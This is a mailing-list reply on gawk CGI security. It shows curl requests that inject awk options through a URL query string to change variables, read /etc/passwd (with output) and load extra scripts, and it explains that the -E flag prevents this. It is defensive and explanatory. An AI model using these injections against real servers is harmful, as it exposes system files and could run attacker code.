bug-gawk
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [bug-gawk] Question regarding security of gawk CGI scripts


From: Assaf Gordon
Subject: Re: [bug-gawk] Question regarding security of gawk CGI scripts
Date: Thu, 20 Nov 2014 14:27:34 -0500
User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0

Hello Tomer and all,

On 06/11/2014 04:23 PM, taltman wrote:
<...>
In the GAWK manual, there's the following discussion of CGI security:

"This option is particularly necessary for World Wide Web CGI
applications that pass arguments through the URL; using this option
prevents a malicious (or other) user from passing in options,
assignments, or awk source code (via --source) to the CGI application."


I can try to suggest few examples of gawk and CGI.

The setup:

-1-
A AWK CGI script, named "/home/gordon/awktest/1.cgi" :
===
#!/usr/bin/gawk -f
BEGIN {
    print "Content-type: text/plain";
    print "";
    print "Hello from AWK/CGI"
    print "FS = '" FS "'"
    print "OFS = '" OFS "'"
    print "myvar = '" myvar "'"
}
{ print ; }
===

-2-
A AWK regular script, named "/home/gordon/awktest/foo.awk":
===
BEGIN { print "hello from other awk" }
===

-3-
Apache configuration as follows:
===
Alias /awktest /home/gordon/awktest
<Directory /home/gordon/awktest>
    Options +ExecCGI
    AllowOverride None
    Require all granted
    AddHandler cgi-script .cgi
</Directory>
===


Now, examples:

If you just visit the AWK/CGI script URL without any CGI parameters, it will 
run as expected,
printing:

    $ curl http://localhost/awktest/2.cgi
    Hello from AWK/CGI
    FS = ' '
    OFS = ' '
    myvar = ''

Apache will give the CGI parameters to AWK, so you can indirectly set AWK 
variables:

    $ curl 'http://localhost/awktest/2.cgi?-vFS%3Dfoo'
    Hello from AWK/CGI
    FS = 'foo'
    OFS = ' '
    myvar = ''

The above is equivalent to:

    awk -vFS=foo /home/gordon/awktest/2.cgi

In the same way I can affect your awk's script variables:

   $ curl 'http://localhost/awktest/2.cgi?-vmyvar%3Dfoobar'
   Hello from AWK/CGI
   FS = ' '
   OFS = ' '
   myvar = 'foobar'

So if you left them uninitialized, assuming the default values in AWK are empty 
string or zero,
this could cause troubles.

===

In my contrived example, there's a simple "{print}" command, and in the URL I 
can affect awk's input file:

    $ curl 'http://localhost/awktest/2.cgi?/etc/passwd'
    Hello from AWK/CGI
    FS =  ' '
    OFS = ' '
    myvar = ''
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    ...

===

Using "-f" I can specify more AWK script to run:

    $ curl 'http://localhost/awktest/2.cgi?-f/home/gordon/awktest/foo.awk'
    Hello from AWK/CGI
    FS = ' '
    OFS = ' '
    myvar = ''
    hello from other awk

Which is equivalent to:

    awk -f foo.awk -f 2.cgi

===

And perhaps, depending on the web server, one can even construct a malicious "-e 
PROGRAM" to run arbitrary AWK commands.
Though I personally haven't investigated it, at least the following does work (i.e. AWK 
doesn't stop and complain, and "1" is a valid awk statement):

    $ curl 'http://localhost/awktest/2.cgi?-e1'
    Hello from AWK/CGI
    FS = ' '
    OFS = ' '
    myvar = ''

More complicated commands might be blocked by the web-server's 
character-escaping rules.

===

All these issues are prevented by switching from "-f" to "-E" - because "-E" 
tells AWK to immediately stop command-line processing.

Hope this helps.

Regards,
 - Assaf




reply via email to

[Prev in Thread] Current Thread [Next in Thread]